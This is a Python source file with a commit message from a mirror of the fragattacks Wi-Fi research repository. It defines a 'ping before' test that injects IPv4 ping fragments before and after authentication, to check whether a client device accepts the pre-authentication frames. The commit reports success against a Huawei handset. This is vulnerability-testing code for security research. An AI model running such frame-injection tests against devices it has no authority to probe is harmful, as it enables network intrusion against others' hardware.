mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2024-11-25 00:38:24 -05:00
2ccd42033a
This uses fragmented IPv4 packets to perfrom (variants of) the test "ping BP" without needing to run a packet capture on the victim device. This is accomplished by sending the first IPv4 fragment of a ping request before authenticating, and the second IPv4 fragment after authenticating. If the device is vulnerable, it should replay with a ping response. Note that both ping IPv4 fragments are sent in a normal non-fragmented Wi-Fi frame. The test was confirmed to work against a Huawei MRD-LZ1F (Huawei Y6 2019).
56 lines
1.9 KiB
Python
56 lines
1.9 KiB
Python
# Copyright (c) 2022, Mathy Vanhoef <mathy.vanhoef@kuleuven.be>
|
|
#
|
|
# This code may be distributed under the terms of the BSD license.
|
|
# See README for more details.
|
|
|
|
from fraginternals import *
|
|
|
|
class PingBefore(Test):
|
|
def __init__(self, ptype, opt=None):
|
|
super().__init__([
|
|
Action(Action.BeforeAuth, action=Action.Inject, enc=False),
|
|
Action(Action.Connected, action=Action.GetIp),
|
|
Action(Action.Connected, action=Action.Inject, enc=True)
|
|
])
|
|
self.ptype = ptype
|
|
|
|
self.bcast_ra = False if opt == None else opt.bcast_ra
|
|
self.bcast_dst = False if opt == None else opt.bcast_dst
|
|
self.icmp_size = 0 if (opt == None or opt.icmp_size is None) else opt.icmp_size
|
|
|
|
# This test currently only works against clients
|
|
assert opt.ap, "This test currently only supports testing clients"
|
|
|
|
def prepare(self, station):
|
|
log(STATUS, "Generating ping-before test", color="green")
|
|
|
|
# FIXME: This only works when acting as AP. And assumes no other client
|
|
# will request an IP before this station does.
|
|
# The built-in DHCP server will pop() an IP address from the end of the list.
|
|
peerip = station.daemon.dhcp.pool[-1] # station.peerip
|
|
myip = station.daemon.arp_sender_ip
|
|
log(WARNING, "My IP is {} and client IP will be {}".format(myip, peerip))
|
|
|
|
header = station.get_header()
|
|
|
|
label = b"test_ping_icmp_"
|
|
payload = label + b"A" * min(10, max(0, self.icmp_size - len(label)))
|
|
ping = ICMP()/Raw(payload)
|
|
ip1, ip2 = fragment(IP(src=myip, dst=peerip)/ping, len(ping) // 2)
|
|
self.check_fn = lambda p: ICMP in p and label in raw(p) and p[ICMP].type == 0
|
|
|
|
frame1 = header/LLC()/SNAP()/ip1
|
|
frame2 = header.copy()/LLC()/SNAP()/ip2
|
|
|
|
if self.bcast_ra:
|
|
frame1.addr1 = "ff:ff:ff:ff:ff:ff"
|
|
if self.bcast_dst:
|
|
if header.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
|
|
frame1.addr3 = "ff:ff:ff:ff:ff:ff"
|
|
else:
|
|
frame1.addr1 = "ff:ff:ff:ff:ff:ff"
|
|
|
|
self.actions[0].frame = frame1
|
|
self.actions[2].frame = frame2
|
|
|